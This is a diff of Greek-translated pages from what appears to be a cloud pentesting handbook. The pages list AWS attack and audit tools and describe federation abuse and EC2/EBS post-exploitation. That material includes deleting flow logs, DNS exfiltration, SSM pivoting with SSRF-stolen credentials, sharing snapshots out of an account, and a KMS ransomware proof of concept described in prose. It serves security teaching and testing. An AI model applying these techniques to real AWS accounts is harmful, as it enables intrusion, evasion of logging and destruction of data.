- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Ανακαλύψτε τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. Μπορείτε να βρείτε τον **ορισμό των προνομιακών πολιτικών** στη λειτουργία **`Check-PrivilegedPolicy`** στο [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Το Pacu είναι ένα ανοιχτού κώδικα **AWS exploitation framework**, σχεδιασμένο για επιθετική δοκιμή ασφαλείας σε περιβάλλοντα cloud. Μπορεί να **enumerate**, να βρει **miss-configurations** και να **τα εκμεταλλευτεί**. Μπορείτε να βρείτε τον **ορισμό των προνομιακών αδειών** στο [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) μέσα στο λεξικό **`user_escalation_methods`**.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Το Pacu είναι ένα ανοιχτού κώδικα **AWS exploitation framework**, σχεδιασμένο για επιθετική δοκιμή ασφαλείας σε περιβάλλοντα cloud. Μπορεί να **καταγράψει**, να βρει **λάθη διαμόρφωσης** και να **τα εκμεταλλευτεί**. Μπορείτε να βρείτε τον **ορισμό των προνομιακών αδειών** στο [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) μέσα στο λεξικό **`user_escalation_methods`**.
- Σημειώστε ότι το pacu **ελέγχει μόνο τα δικά σας μονοπάτια privesc** (όχι σε επίπεδο λογαριασμού).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Ο Principal Mapper (PMapper) είναι ένα σενάριο και βιβλιοθήκη για την αναγνώριση κινδύνων στη διαμόρφωση του AWS Identity and Access Management (IAM) για έναν λογαριασμό AWS ή μια οργάνωση AWS. Μοντελοποιεί τους διάφορους IAM Users και Roles σε έναν λογαριασμό ως κατευθυνόμενο γράφο, που επιτρέπει ελέγχους για **privilege escalation** και για εναλλακτικές διαδρομές που θα μπορούσε να ακολουθήσει ένας επιτιθέμενος για να αποκτήσει πρόσβαση σε έναν πόρο ή ενέργεια στο AWS. Μπορείτε να ελέγξετε τις **permissions used to find privesc** διαδρομές στα ονόματα αρχείων που τελειώνουν σε `_edges.py` στο [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Ο Principal Mapper (PMapper) είναι ένα σενάριο και βιβλιοθήκη για την αναγνώριση κινδύνων στη διαμόρφωση του AWS Identity and Access Management (IAM) για έναν λογαριασμό AWS ή μια οργάνωση AWS. Μοντελοποιεί τους διάφορους IAM Users και Roles σε έναν λογαριασμό ως κατευθυνόμενο γράφο, που επιτρέπει ελέγχους για **privilege escalation** και για εναλλακτικές διαδρομές που θα μπορούσε να ακολουθήσει ένας επιτιθέμενος για να αποκτήσει πρόσβαση σε έναν πόρο ή ενέργεια στο AWS. Μπορείτε να ελέγξετε τις **permissions που χρησιμοποιούνται για να βρείτε privesc** διαδρομές στα ονόματα αρχείων που τελειώνουν σε `_edges.py` στο [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Το Cloudsplaining είναι ένα εργαλείο Αξιολόγησης Ασφαλείας AWS IAM που εντοπίζει παραβιάσεις της ελάχιστης προνομιακής πρόσβασης και δημιουργεί μια αναφορά HTML με προτεραιότητα κινδύνου.\
-Θα σας δείξει πιθανούς **υπερβολικά προνομιακούς** πελάτες, inline και aws **πολιτικές** και ποιοι **προσωπικοί έχουν πρόσβαση σε αυτές**. (Ελέγχει όχι μόνο για privesc αλλά και για άλλου είδους ενδιαφέρουσες άδειες, συνιστάται η χρήση του).
+Θα σας δείξει πιθανά **υπερβολικά προνομιακά** πελάτες, inline και aws **πολιτικές** και ποιοι **προσωπικοί έχουν πρόσβαση σε αυτές**. (Ελέγχει όχι μόνο για privesc αλλά και για άλλου είδους ενδιαφέρουσες άδειες, συνιστάται η χρήση του).
```bash
# Install
pip install cloudsplaining
@@ -296,14 +296,14 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
### Audit
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Το CloudSploit από την Aqua είναι ένα έργο ανοιχτού κώδικα που έχει σχεδιαστεί για να επιτρέπει την ανίχνευση **κινδύνων ασφαλείας σε λογαριασμούς υποδομής cloud**, συμπεριλαμβανομένων: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) και GitHub (Δεν αναζητά ShadowAdmins).
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Το CloudSploit από την Aqua είναι ένα έργο ανοιχτού κώδικα που έχει σχεδιαστεί για να επιτρέπει την ανίχνευση **ασφαλιστικών κινδύνων σε λογαριασμούς υποδομής cloud**, συμπεριλαμβανομένων: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) και GitHub (Δεν αναζητά ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Ο Prowler είναι ένα εργαλείο ανοιχτού κώδικα για την εκτίμηση των καλύτερων πρακτικών ασφαλείας AWS, τις επιθεωρήσεις, την αντίδραση σε περιστατικά, τη συνεχή παρακολούθηση, την ενίσχυση και την ετοιμότητα για εγκληματολογική ανάλυση.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Ο Prowler είναι ένα εργαλείο ανοιχτού κώδικα για την εκτίμηση των καλύτερων πρακτικών ασφαλείας AWS, ελέγχους, αντίκτυπο σε περιστατικά, συνεχή παρακολούθηση, σκληροποίηση και ετοιμότητα για εγκληματολογική ανάλυση.
```bash
# Install python3, jq and git
# Install
@@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
```bash
cloudfox aws --profile [profile-name] all-checks
```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Το Scout Suite είναι ένα εργαλείο ανοιχτού κώδικα για τον έλεγχο ασφαλείας πολλαπλών υπολογιστικών νέφους, το οποίο επιτρέπει την αξιολόγηση της ασφάλειας των περιβαλλόντων νέφους.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Το Scout Suite είναι ένα εργαλείο ανοιχτού κώδικα για τον έλεγχο ασφαλείας πολλαπλών cloud, το οποίο επιτρέπει την αξιολόγηση της ασφάλειας των περιβαλλόντων cloud.
```bash
# Install
virtualenv -p python3 venv
@@ -336,7 +336,7 @@ scout aws -p dev
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Ο Cloud Custodian είναι μια μηχανή κανόνων για τη διαχείριση δημόσιων λογαριασμών και πόρων cloud. Επιτρέπει στους χρήστες να **ορίζουν πολιτικές για να επιτρέπουν μια καλά διαχειριζόμενη υποδομή cloud**, που είναι τόσο ασφαλής όσο και βελτιστοποιημένη για κόστος. Συγκεντρώνει πολλά από τα ad-hoc σενάρια που έχουν οι οργανισμοί σε ένα ελαφρύ και ευέλικτο εργαλείο, με ενοποιημένα μετρήσεις και αναφορές.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** είναι μια πλατφόρμα για **συνεχή παρακολούθηση συμμόρφωσης, αναφορά συμμόρφωσης και αυτοματοποίηση ασφάλειας για το cloud**. Στο PacBot, οι πολιτικές ασφάλειας και συμμόρφωσης υλοποιούνται ως κώδικας. Όλοι οι πόροι που ανακαλύπτονται από το PacBot αξιολογούνται σύμφωνα με αυτές τις πολιτικές για να εκτιμηθεί η συμμόρφωση με τις πολιτικές. Το πλαίσιο **auto-fix** του PacBot παρέχει τη δυνατότητα αυτόματης αντίδρασης σε παραβιάσεις πολιτικής αναλαμβάνοντας προκαθορισμένες ενέργειες.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** Το StreamAlert είναι ένα serverless, **σε πραγματικό χρόνο** πλαίσιο ανάλυσης δεδομένων που σας δίνει τη δυνατότητα να **εισάγετε, αναλύετε και ειδοποιείτε** για δεδομένα από οποιοδήποτε περιβάλλον, **χρησιμοποιώντας πηγές δεδομένων και λογική ειδοποίησης που ορίζετε**. Οι ομάδες ασφάλειας υπολογιστών χρησιμοποιούν το StreamAlert για να σαρώσουν τεραμπάιτ δεδομένων καταγραφής καθημερινά για ανίχνευση και αντίδραση σε περιστατικά.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** Το StreamAlert είναι ένα serverless, **σε πραγματικό χρόνο** πλαίσιο ανάλυσης δεδομένων που σας δίνει τη δυνατότητα να **εισάγετε, αναλύετε και ειδοποιείτε** για δεδομένα από οποιοδήποτε περιβάλλον, χρησιμοποιώντας πηγές δεδομένων και λογική ειδοποίησης που ορίζετε. Οι ομάδες ασφάλειας υπολογιστών χρησιμοποιούν το StreamAlert για να σαρώσουν τεραμπάιτ δεδομένων καταγραφής καθημερινά για ανίχνευση και αντίδραση σε περιστατικά.
## DEBUG: Καταγραφή αιτημάτων AWS cli
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 3465e09b9..3822810bf 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -7,7 +7,7 @@
Για πληροφορίες σχετικά με το SAML, παρακαλώ ελέγξτε:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/saml-attacks
+https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Για να ρυθμίσετε μια **Ομοσπονδία Ταυτότητας μέσω SAML**, χρειάζεται απλώς να παρέχετε ένα **όνομα** και το **metadata XML** που περιέχει όλες τις ρυθμίσεις SAML (**endpoints**, **πιστοποιητικό** με δημόσιο κλειδί)
@@ -45,7 +45,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
}
```
6. Σημειώστε στην προηγούμενη πολιτική πώς μόνο μια **κλάδος** από **αποθετήριο** μιας **οργάνωσης** είχε εξουσιοδοτηθεί με μια συγκεκριμένη **ενεργοποίηση**.
-7. Το **ARN** του **ρόλου** που η δράση github θα μπορεί να **παριστάνει** θα είναι το "μυστικό" που χρειάζεται να γνωρίζει η δράση github, οπότε **αποθηκεύστε** το μέσα σε ένα **μυστικό** μέσα σε ένα **περιβάλλον**.
+7. Το **ARN** του **ρόλου** που η δράση github θα μπορεί να **παριστάνει** θα είναι το "μυστικό" που χρειάζεται να γνωρίζει η δράση github, οπότε **αποθηκεύστε** το μέσα σε ένα **μυστικό** σε ένα **περιβάλλον**.
8. Τέλος, χρησιμοποιήστε μια δράση github για να ρυθμίσετε τα AWS creds που θα χρησιμοποιηθούν από τη ροή εργασίας:
```yaml
name: "test AWS Access"
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
```
-## OIDC - Κατάχρηση EKS
+## OIDC - EKS Κατάχρηση
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-Είναι δυνατόν να δημιουργήσετε **OIDC providers** σε ένα **EKS** cluster απλά ρυθμίζοντας το **OIDC URL** του cluster ως **νέο Open ID Identity provider**. Αυτή είναι μια κοινή προεπιλεγμένη πολιτική:
+Είναι δυνατόν να δημιουργηθούν **OIDC providers** σε ένα **EKS** cluster απλά ρυθμίζοντας το **OIDC URL** του cluster ως **νέο Open ID Identity provider**. Αυτή είναι μια κοινή προεπιλεγμένη πολιτική:
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 0b6a0b892..20ee7d7f3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Αντιγραφή Εκτελούμενης Περίπτωσης
-Οι περιπτώσεις συνήθως περιέχουν κάποιο είδος ευαίσθητης πληροφορίας. Υπάρχουν διάφοροι τρόποι για να εισέλθετε (ελέγξτε [tricks εκμετάλλευσης δικαιωμάτων EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να εκτελέσετε μια νέα περίπτωση (ακόμα και στον δικό σας λογαριασμό) από αυτό**:
+Οι περιπτώσεις συνήθως περιέχουν κάποιο είδος ευαίσθητης πληροφορίας. Υπάρχουν διάφοροι τρόποι για να εισέλθετε (ελέγξτε [tricks ανύψωσης προνομίων EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να εκτελέσετε μια νέα περίπτωση (ακόμα και στον δικό σας λογαριασμό) από αυτό**:
```shell
# List instances
aws ec2 describe-images
@@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md
#### DNS Exfiltration
-Ακόμα και αν κλειδώσετε ένα EC2 ώστε να μην μπορεί να βγει κανένα traffic, μπορεί ακόμα να **exfil via DNS**.
+Ακόμα και αν κλειδώσετε ένα EC2 ώστε να μην μπορεί να βγει κανένα traffic, μπορεί ακόμα να **εξαχθεί μέσω DNS**.
- **Τα VPC Flow Logs δεν θα καταγράψουν αυτό**.
- Δεν έχετε πρόσβαση στα AWS DNS logs.
@@ -70,7 +70,7 @@ aws-ebs-snapshot-dump.md
#### Exfiltration via API calls
-Ένας επιτιθέμενος θα μπορούσε να καλέσει API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
+Ένας επιτιθέμενος θα μπορούσε να καλέσει API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα εξαγόμενα δεδομένα στα Cloudtrail logs.
### Open Security Group
@@ -97,25 +97,25 @@ aws ec2 delete-flow-logs --flow-log-ids --region
Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει τη σήραγγα κυκλοφορίας, η οποία μπορεί να καταχραστεί για να γίνει pivot από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs. Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από ένα [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster.
-> Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Για να ξεκινήσετε μια συνεδρία, χρειάζεστε εγκατεστημένο το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
-1. Εγκαταστήστε το SessionManagerPlugin στον υπολογιστή σας
+1. Εγκαταστήστε το SessionManagerPlugin στη μηχανή σας
2. Συνδεθείτε στο Bastion EC2 χρησιμοποιώντας την παρακάτω εντολή:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Πάρτε τα προσωρινά διαπιστευτήρια Bastion EC2 AWS με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script
+3. Πάρτε τα προσωρινά διαπιστευτήρια Bastion EC2 AWS με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
4. Μεταφέρετε τα διαπιστευτήρια στον δικό σας υπολογιστή στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
5. Συνδεθείτε στο EKS ως Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
-6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει στο `https://localhost`
-7. Δημιουργήστε ένα SSM tunnel ως εξής:
+6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει στο `https://localhost`
+7. Δημιουργήστε ένα SSM τούνελ ως εξής:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region
```
-8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του τούνελ SSM μέσω του Bastion EC2 και μπορείτε να έχετε πρόσβαση στο ιδιωτικό EKS cluster από τη δική σας μηχανή εκτελώντας:
+8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του SSM τούνελ μέσω του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τη δική σας μηχανή εκτελώντας:
```shell
kubectl get pods --insecure-skip-tls-verify
```
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{
```
### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσιες και ιδιωτικές AMIs
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για **να αναζητά ευαίσθητες πληροφορίες εντός δημόσιων ή ιδιωτικών Εικόνων Μηχανών της Amazon (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης παραδείγματος από στοχευμένες AMIs, τοποθέτησης των τόμων τους και σάρωσης για πιθανά μυστικά ή ευαίσθητα δεδομένα.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για **να αναζητά ευαίσθητες πληροφορίες εντός δημόσιων ή ιδιωτικών Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης στιγμιοτύπων από στοχευμένες AMIs, τοποθέτησης των τόμων τους και σάρωσης για πιθανά μυστικά ή ευαίσθητα δεδομένα.
### Κοινή χρήση στιγμιότυπου EBS
```bash
@@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
Μια απόδειξη της έννοιας παρόμοια με την επίδειξη Ransomware που παρουσιάστηκε στις σημειώσεις post-exploitation S3. Το KMS θα έπρεπε να μετονομαστεί σε RMS για Ransomware Management Service με το πόσο εύκολο είναι να χρησιμοποιηθεί για την κρυπτογράφηση διαφόρων υπηρεσιών AWS χρησιμοποιώντας το.
-Πρώτα από έναν λογαριασμό AWS 'επιτιθέμενου', δημιουργήστε ένα κλειδί διαχείρισης πελάτη στο KMS. Για αυτό το παράδειγμα, θα αφήσουμε το AWS να διαχειρίζεται τα δεδομένα του κλειδιού για μένα, αλλά σε ένα ρεαλιστικό σενάριο, ένας κακόβουλος παράγοντας θα διατηρούσε τα δεδομένα του κλειδιού εκτός του ελέγχου του AWS. Αλλάξτε την πολιτική του κλειδιού για να επιτρέψετε σε οποιονδήποτε Principal λογαριασμού AWS να χρησιμοποιήσει το κλειδί. Για αυτή την πολιτική κλειδιού, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει σε όλους την πρόσβαση ονομάζεται 'Outside Encryption'
+Πρώτα από έναν λογαριασμό AWS 'επιτιθέμενου', δημιουργήστε ένα διαχειριζόμενο κλειδί πελάτη στο KMS. Για αυτό το παράδειγμα, θα αφήσουμε το AWS να διαχειρίζεται τα δεδομένα του κλειδιού για μένα, αλλά σε ένα ρεαλιστικό σενάριο, ένας κακόβουλος παράγοντας θα διατηρούσε τα δεδομένα του κλειδιού εκτός του ελέγχου του AWS. Αλλάξτε την πολιτική του κλειδιού για να επιτρέψετε σε οποιονδήποτε Principal λογαριασμού AWS να χρησιμοποιήσει το κλειδί. Για αυτή την πολιτική κλειδιού, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει σε όλους την πρόσβαση ονομάζεται 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -231,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
]
}
```
-Ο κανόνας πολιτικής κλειδιού χρειάζεται τα εξής ενεργοποιημένα για να επιτρέψει τη δυνατότητα χρήσης του για την κρυπτογράφηση ενός EBS volume:
+Η πολιτική κλειδιού χρειάζεται τα εξής ενεργοποιημένα για να επιτρέψει τη δυνατότητα χρήσης της για κρυπτογράφηση ενός EBS volume:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,7 +239,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Τώρα με το δημόσια προσβάσιμο κλειδί προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'θύμα' που έχει μερικές EC2 περιπτώσεις ενεργές με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes του λογαριασμού 'θύμα' είναι αυτά που στοχεύουμε για κρυπτογράφηση, αυτή η επίθεση είναι υπό την υποτιθέμενη παραβίαση ενός λογαριασμού AWS υψηλής προνομιακής πρόσβασης.
+Τώρα με το δημόσια προσβάσιμο κλειδί προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'θύμα' που έχει μερικές EC2 περιπτώσεις ενεργοποιημένες με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes αυτού του λογαριασμού 'θύματος' είναι αυτά που στοχεύουμε για κρυπτογράφηση, αυτή η επίθεση είναι υπό την υποτιθέμενη παραβίαση ενός λογαριασμού AWS υψηλής προνομιακής πρόσβασης.
 
@@ -249,7 +249,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe

-Επίσης αξίζει να σημειωθεί ότι το σενάριο σταμάτησε τις EC2 περιπτώσεις για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν φύγει τώρα.
+Επίσης αξίζει να σημειωθεί ότι το σενάριο σταμάτησε τις EC2 περιπτώσεις για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον εξαφανιστεί.

@@ -324,15 +324,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
]
}
```
-Περιμένετε λίγο για να διαδοθεί η νέα πολιτική κλειδιού. Στη συνέχεια, επιστρέψτε στον λογαριασμό του 'θύματος' και προσπαθήστε να επισυνάψετε έναν από τους νεοκρυπτογραφημένους EBS τόμους. Θα διαπιστώσετε ότι μπορείτε να επισυνάψετε τον τόμο.
+Περίμενε λίγο για να διαδοθεί η νέα πολιτική κλειδιού. Στη συνέχεια, επέστρεψε στον λογαριασμό του 'θύματος' και προσπάθησε να επισυνάψεις έναν από τους νέους κρυπτογραφημένους όγκους EBS. Θα διαπιστώσεις ότι μπορείς να επισυνάψεις τον όγκο.
 
-Αλλά όταν προσπαθήσετε να ξεκινήσετε ξανά την EC2 instance με τον κρυπτογραφημένο EBS τόμο, θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' για πάντα, καθώς ο επισυναπτόμενος EBS τόμος δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το κλειδί, καθώς η πολιτική κλειδιού δεν το επιτρέπει πλέον.
+Αλλά όταν προσπαθήσεις να ξεκινήσεις ξανά την EC2 instance με τον κρυπτογραφημένο όγκο EBS, θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' για πάντα, καθώς ο επισυναπτόμενος όγκος EBS δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το κλειδί, καθώς η πολιτική κλειδιού δεν το επιτρέπει πλέον.
 
-Αυτό είναι το python script που χρησιμοποιείται. Παίρνει AWS creds για έναν λογαριασμό 'θύματος' και μια δημόσια διαθέσιμη τιμή ARN AWS για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS τόμων που είναι επισυναπτόμενοι σε ΟΛΕΣ τις EC2 instances στον στοχευμένο λογαριασμό AWS, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τους αρχικούς EBS τόμους, θα τους διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους EBS τόμους στον στοχευμένο λογαριασμό 'θύματος'. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΗΣ, ΕΙΝΑΙ ΑΠΟΤΕΛΕΣΜΑΤΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ EBS ΤΟΜΟΥΣ. Μπορείτε να τους ανακτήσετε χρησιμοποιώντας το χρησιμοποιούμενο KMS κλειδί και να τους αποκαταστήσετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σας ενημερώσω ότι αυτό είναι ένα PoC ransomware στο τέλος της ημέρας.
+Αυτό είναι το python script που χρησιμοποιείται. Παίρνει διαπιστευτήρια AWS για έναν λογαριασμό 'θύματος' και μια δημόσια διαθέσιμη τιμή ARN AWS για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων όγκων EBS που είναι επισυναπτόμενοι σε ΟΛΕΣ τις EC2 instances στον στοχευμένο λογαριασμό AWS, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τους αρχικούς όγκους EBS, θα τους διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους όγκους EBS στον στοχευμένο λογαριασμό 'θύματος'. ΧΡΗΣΙΜΟΠΟΙΗΣΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΗΣ, ΕΙΝΑΙ ΑΥΤΟΚΤΟΝΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ ΟΓΚΟΥΣ EBS. Μπορείς να τους ανακτήσεις χρησιμοποιώντας το χρησιμοποιούμενο κλειδί KMS και να τους αποκαταστήσεις στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σε ενημερώσω ότι αυτό είναι ένα PoC ransomware στο τέλος της ημέρας.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index 9a0e9f66b..e26bec94f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
Μετά τη λήψη των εικόνων, θα πρέπει να **ελέγξετε αν περιέχουν ευαίσθητες πληροφορίες**:
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
